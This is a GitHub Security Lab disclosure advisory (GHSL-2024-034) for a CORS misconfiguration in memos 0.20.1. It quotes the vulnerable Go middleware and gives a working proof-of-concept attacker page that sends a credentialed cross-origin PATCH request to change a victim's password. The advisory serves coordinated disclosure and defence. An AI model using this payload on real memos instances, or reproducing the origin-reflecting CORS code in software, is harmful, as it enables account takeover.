Coordinated Disclosure Timeline

Summary

A CORS misconfiguration exists in memos where an arbitrary origin is reflected with Access-Control-Allow-Credentials set to true. This may allow an attacking website to make a cross-origin request, allowing the attacker to read private information or make privileged changes to the system as the vulnerable user account.

Project

memos

Tested Version

0.20.1

Details

CORS Misconfiguration in server.go (GHSL-2024-034)

The CORS middleware reflects the Origin request header in the Access-Control-Allow-Origin response header and adds Access-Control-Allow-Credentials: true to all responses from non-GPRC requests. This leaves the v1 API vulnerable to cross-origin attacks where a any malicious site is allowed to send cross-origin request and read the responses. The v1 API contains some powerful and sensitive APIs that can be abused to compromise the integrity of the web application.

func CORSMiddleware() echo.MiddlewareFunc {
	return func(next echo.HandlerFunc) echo.HandlerFunc {
		return func(c echo.Context) error {
			if grpcRequestSkipper(c) {
				return next(c)
			}

			r := c.Request()
			w := c.Response().Writer

			w.Header().Set("Access-Control-Allow-Origin", r.Header.Get("Origin"))
			w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, PATCH, OPTIONS")
			w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
			w.Header().Set("Access-Control-Allow-Credentials", "true")

			// If it's preflight request, return immediately.
			if r.Method == "OPTIONS" {
				w.WriteHeader(http.StatusOK)
				return nil
			}
			return next(c)
		}
	}
}

Impact

This issue may lead to Information Disclosure. If the CORS attack is executed on the host user, an attacker can compromise any account by changing the account’s password and logging to the account.

Proof of Concept

An attacker can host a webpage with the following code:

<body>
    <p>Click here to login.</p>
    <div id="response"></div>

    <script>
        const url = 'https://demo.usememos.com/api/v1/user';
      document.addEventListener("DOMContentLoaded", () => {
        document.onclick = () => {
          open(url);

const requestBody = {
  rowStatus: "NORMAL", // Replace with the desired row status
  username: "test", // Replace with the desired username
  email: "test@gmail.com", // Replace with the desired email
  nickname: "", // Replace with the desired nickname
  password: "password", // Replace with the desired password
  avatarUrl: "" // Replace with the desired avatar URL
};

// Sending the request
let userID = 101;
fetch(`https://demo.usememos.com/api/v1/user/{userID}`, {
  method: 'PATCH',
  headers: {
    'Content-Type': 'application/json'
  },
  credentials: "include",
  body: JSON.stringify(requestBody)
})
.then(response => {
  if (!response.ok) {
    throw new Error(`HTTP error! Status: ${response.status}`);
  }
  return response.json();
})
.then(data => {
  console.log('Updated user:', data);
})
.catch(error => {
  console.error('Error updating user:', error);
});
        }
      });
    </script>
  </body>

When a user navigates to the attacker page and clicks on any part of the page, a request will be sent to change the password of an account on memos. The attacker can now login as that user. This proof of concept works exclusively with Firefox due to changes in third party cookies policies in all recent browsers.

CVE

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-034 in any communication regarding this issue.